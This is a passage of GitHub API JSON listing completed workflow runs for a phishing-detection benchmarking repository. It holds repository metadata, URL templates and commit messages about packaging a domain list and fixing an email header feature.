ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292828290,"node_id":"MDExOldvcmtmbG93UnVuMjkyODI4Mjkw","head_branch":"master","head_sha":"8b9a337e8da0fbaf0026b75cc67a71caf4223ac3","run_number":1079,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1300677809,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzAwNjc3ODA5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292828290","pull_requests":[],"created_at":"2020-10-07T06:05:17Z","updated_at":"2020-10-10T09:03:17Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1300677809","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8b9a337e8da0fbaf0026b75cc67a71caf4223ac3","tree_id":"a07c68b7bdd9b942511dc1bafef53b414376c974","message":"Included alexa-top-1m.csv in setup.py (#254)","timestamp":"2020-10-07T06:05:14Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292704248,"node_id":"MDExOldvcmtmbG93UnVuMjkyNzA0MjQ4","head_branch":"alexa_include","head_sha":"c87afc2ef605e6c9f88e69d6fc26da6b7895806e","run_number":1078,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1300360012,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzAwMzYwMDEy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292704248","pull_requests":[],"created_at":"2020-10-07T04:13:31Z","updated_at":"2020-10-07T04:52:34Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1300360012","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"c87afc2ef605e6c9f88e69d6fc26da6b7895806e","tree_id":"a07c68b7bdd9b942511dc1bafef53b414376c974","message":"Included alexa-top-1m.csv in setup.py","timestamp":"2020-10-07T04:13:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292664899,"node_id":"MDExOldvcmtmbG93UnVuMjkyNjY0ODk5","head_branch":"master","head_sha":"703728c55d221d217e98b823698d7f71a7d8e569","run_number":1077,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1300257371,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzAwMjU3Mzcx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292664899","pull_requests":[],"created_at":"2020-10-07T03:33:31Z","updated_at":"2020-10-07T03:54:52Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1300257371","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"703728c55d221d217e98b823698d7f71a7d8e569","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Fixed header.x_spam_flag (#253)\n\n* Fixed header.x_spam_flag\r\n\r\n* Additional Email Unit-tests\r\n\r\n* Lint","timestamp":"2020-10-07T03:33:29Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin"